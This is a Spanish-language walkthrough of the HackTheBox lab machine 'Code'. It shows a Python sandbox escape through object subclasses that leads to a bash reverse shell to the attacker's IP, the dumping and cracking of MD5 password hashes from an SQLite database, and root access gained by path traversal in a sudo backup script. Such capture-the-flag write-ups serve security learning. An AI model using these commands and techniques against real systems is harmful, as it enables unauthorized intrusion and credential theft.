Code
Sobre esta maquina: HTB
Sistema Operativo: Linux
Skills Usados:
Scripting
SQLI
Json Abuse
Scripting, Sqli,Json
Primer reconocimiento con nmap:
nmap -p- --open -sS -T4 -Pn -n 10.10.11.62 -oN First_Scann Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 13:52 EDT Nmap scan report for 10.10.11.62 Host is up (0.33s latency). Not shown: 65406 closed tcp ports (reset), 127 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 46.58 seconds
Escaneo de versiones y Scripts:
nmap -p22,5000 -sVC -n 10.10.11.62 -oN sVC_Scann Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 13:53 EDT Nmap scan report for 10.10.11.62 Host is up (0.14s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA) | 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA) |_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519) 5000/tcp open http Gunicorn 20.0.4 |_http-title: Python Code Editor |_http-server-header: gunicorn/20.0.4 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds
Sobre el puerto 5.000 sabemos que es un servicio HTTP corriendo en el puerto TCP 5000, típicamente usado por aplicaciones Flask durante desarrollo y sobre Gunicorn 20.0.4 tambien conocido como Green Unicorn es un servidor WSGI (que es un tipo de servidor que se utiliza frecuentemente en codigo paginas que usan codigo python) para aplicaciones Python, comúnmente utilizado con Flask o Django en producción.
Revisamos en whatweb y agregamos el dominio a nuestro /etc/hosts:
whatweb 10.10.11.62:5000 http://10.10.11.62:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn/20.0.4], IP[10.10.11.62], JQuery[3.6.0], Script, Title[Python Code Editor]
Vemos lo que corre el puerto 5.000:
(captura)
Realizamos enumeracion de subdominios:
gobuster dir -u "http://10.10.11.62:5000/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) [+] Url: http://10.10.11.62:5000/ [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s Starting gobuster in directory enumeration mode /about (Status: 200) [Size: 818] /login (Status: 200) [Size: 730] /register (Status: 200) [Size: 741] /logout (Status: 302) [Size: 189] [--> /] /codes (Status: 302) [Size: 199] [--> /login] Finished
Al intentar por un rato inyectar codigo malicioso arbitrario en la terminal python del puerto 5.000 con un resultado negativo intentamos navegar por las clases, dentro de las clases, encontramos base que nos permite acceder a object y dentro de object podemos ir a subclases desde alli, logramos tener acceso a modulos como subprocess.popen.
subprocess.Popen es una clase del módulo estándar subprocess de Python que permite ejecutar comandos del sistema operativo desde un programa Python. Es una de las formas más potentes (y peligrosas, si se abusa) de interactuar con el sistema desde código Python, en resumen:
().class → tipo de NoneType .base → accede a object .subclasses() → obtiene todas las subclases de object, incluyendo módulos como subprocess.Popen Una vez en Subprocess.popen podemos solicitar una reverse shell hacia nuestra terminal: base.subclasses()[317](["/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.50/4444 0>&1"])
(captura)
Nos ponemos en escucha por el puerto 443:
nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.50] from code.htb [10.10.11.62] 56090 bash: cannot set terminal process group (8031): Inappropriate ioctl for device bash: no job control in this shell app-production@code:~/app$
Estamos dentro y conseguimos lo siguiente:
app-production@code:/app$ ls
app.pyinstance pycachestatic templates app-production@code:/app$ cd instance app-production@code:/app/instance$ ls database.dbapp-production@code:/app/instance$ strings database.db
SQLite format 3 tablecodecode
CREATE TABLE code ( id INTEGER NOT NULL, user_id INTEGER NOT NULL, code TEXT NOT NULL, name VARCHAR(100) NOT NULL, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) 7tableuseruser CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password VARCHAR(80) NOT NULL, PRIMARY KEY (id), UNIQUE (username) indexsqlite_autoindex_user_1user Mpwned202cb962ac59075b964b07152d234b70* Mmartin3de6f30c4a09c27fc71932bfc68474be/ #Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3 pwned martin
development
print("Functionality test")Test
Vemos que dentro de la base de datos se encuentran los usuarios registrados dentro de la web python corriendo en el porto 5.000 y un hash de su password, en este caso vemos Pwned (la que yo cree para registrarme) y a martin un posible objetivo con los siguientes datos, Mmartin3de6f30c4a09c27fc71932bfc68474be/ asi que intentamos crackear esos hashes.
(captura)
Como resultado conseguimos el password del hash md5: nafeelswordsmaster
Con esos datos intentamos logearnos en ssh:
ssh martin@10.10.11.62 password: martin@code:~$
Estamos dentro, buscamos que comandos podemos ejecutar como root:
sudo -l (ALL : ALL) NOPASSWD: /usr/bin/backy.sh vim /usr/bin/backy.sh
#!/bin/bash if [[ $# -ne 1 ]]; then /usr/bin/echo "Usage: $0 <task.json>" exit 1 fi json_file="$1" if [[ ! -f "$json_file" ]]; then /usr/bin/echo "Error: File '$json_file' not found." exit 1 fi allowed_paths=("/var/" "/home/") updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]') "/usr/bin/backy.sh" [readonly] 40L, 926C
Al ejecutar el script nos indica que es necesario indicarle un file que ejecute una funcion:
martin@code:/usr/bin$ ./backy.sh Usage: ./backy.sh <task.json>
encontramos en la carpeta backups un task.json con permisos de escritura:
martin@code:/backups$ ls code_home_app-production_app_2024_August.tar.bz2 task.json martin@code
:/backups$ ls -l total 12 -rw-r--r-- 1 martin martin 5879 May 21 18:40 code_home_app-production_app_2024_August.tar.bz2 -rw-r--r-- 1 martin martin 181 May 21 18:40 task.json martin@code:~/backups$ cat task.json
{ "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": false, "directories_to_archive": [ "/home/app-production/app" ],"exclude": [".*"]
}
Modificamos el file para que al ejecutarse nos cree un backup que contenga informacion root para hce haremos un path transversal:
martin@code:~/backups$ vim task.json
{ "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": true, "directories_to_archive": [ "/var/....//root/" ] }
martin@code:~/backups$ cat task.json { "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": true, "directories_to_archive": [ "/var/....//root/" ]
Ahora ejecutamos el Script con el archivo task.json y vemos si se generan los backups con informacion root:
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json 2025/05/21 19:09:12 🍀 backy 1.2 2025/05/21 19:09:12 📋 Working with task.json ... 2025/05/21 19:09:12 💤 Nothing to sync 2025/05/21 19:09:12 📤 Archiving: [/var/../root] 2025/05/21 19:09:12 📥 To: /home/martin/backups ... 2025/05/21 19:09:12 📦 tar: Removing leading `/var/../' from member names /var/../root/ /var/../root/.local/ /var/../root/.local/share/ /var/../root/.local/share/nano/ /var/../root/.local/share/nano/search_history /var/../root/.selected_editor /var/../root/.sqlite_history /var/../root/.profile /var/../root/scripts/ /var/../root/scripts/cleanup.sh /var/../root/scripts/backups/ /var/../root/scripts/backups/task.json /var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2 /var/../root/scripts/database.db /var/../root/scripts/cleanup2.sh /var/../root/.python_history /var/../root/root.txt /var/../root/.cache/ /var/../root/.cache/motd.legal-displayed /var/../root/.ssh/ /var/../root/.ssh/id_rsa /var/../root/.ssh/authorized_keys /var/../root/.bash_history /var/../root/.bashrc
martin@code:~/backups$ ls code_home_app-production_app_2024_August.tar.bz2 code_home_app-production_app_2025_May.tar.bz2 task.json
Se a creado el backup, ahora observamos lo que hay dentro:
para listarlo utilizaremos el comando tar mas -t lista el contenido , -j indica que es un archivo .bz2 y -f para especificar el archivo/
martin@code:~/backups$ tar -tjf code_var_.._root_2025_May.tar.bz2 root/ root/.local/ root/.local/share/ root/.local/share/nano/ root/.local/share/nano/search_history root/.selected_editor root/.sqlite_history root/.profile root/scripts/ root/scripts/cleanup.sh root/scripts/backups/ root/scripts/backups/task.json root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2 root/scripts/database.db root/scripts/cleanup2.sh root/.python_history root/root.txt root/.cache/ root/.cache/motd.legal-displayed root/.ssh/ root/.ssh/id_rsa root/.ssh/authorized_keys root/.bash_history root/.bashrc
Ahora creamos un directorio root_backup y mandamos toda la informacion obtenida para poder verla con mas detenimiento:
martin@code:/backups$ mkdir root_backup martin@code
:/backups$ tar -xjf code_var_.._root_2025_May.tar.bz2 -C root_backup
Ingresamos y obtenemos la flag root:
martin@code:/backups/root_backup$ cd root martin@code
:/backups/root_backup/root$ ls root.txt scripts
martin@code:~/backups/root_backup/root$ cat root.txt 03833cdf62af88a6ab71e35e665adfd2
Despues de un rato intentando sacar la flag user, que aunque suene confuso, me costo mas que la root, intente cambiar el file json por "/home/app-production/user.txt" para ver si en los backups generales de martin podriamos encontrar la flag y este fue el resultado:
martin@code:~/backups$ vim task.json
{ "destination": "/home/martin/backups/", "multiprocessing": true, "verbose_log": false, "directories_to_archive": [ "/home/app-production/user.txt" ],"exclude": [".*"]
}
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json 2025/05/21 20:05:29 🍀 backy 1.2 2025/05/21 20:05:29 📋 Working with task.json ... 2025/05/21 20:05:29 💤 Nothing to sync 2025/05/21 20:05:29 📤 Archiving: [/home/app-production/user.txt] 2025/05/21 20:05:29 📥 To: /home/martin/backups ... 2025/05/21 20:05:29 📦
martin@code:/backups$ tar -xjf ./code_home_app-production_user.txt_2025_May.tar.bz2
martin@code:/backups$ ls code_home_app-production_user.txt_2025_May.tar.bz2 home task.json martin@code:/backups$ cd homemartin@code:/backups/home$ ls app-production martin@code:/backups/home$ cd app-production/ martin@code:/backups/home/app-production$ ls user.txt martin@code:~/backups/home/app-production$ cat user.txt c44327cb25517fbe9b5452f811b4aa3a
y asi conseguimos la user flag y damos por terminada esta maquina.
Last updated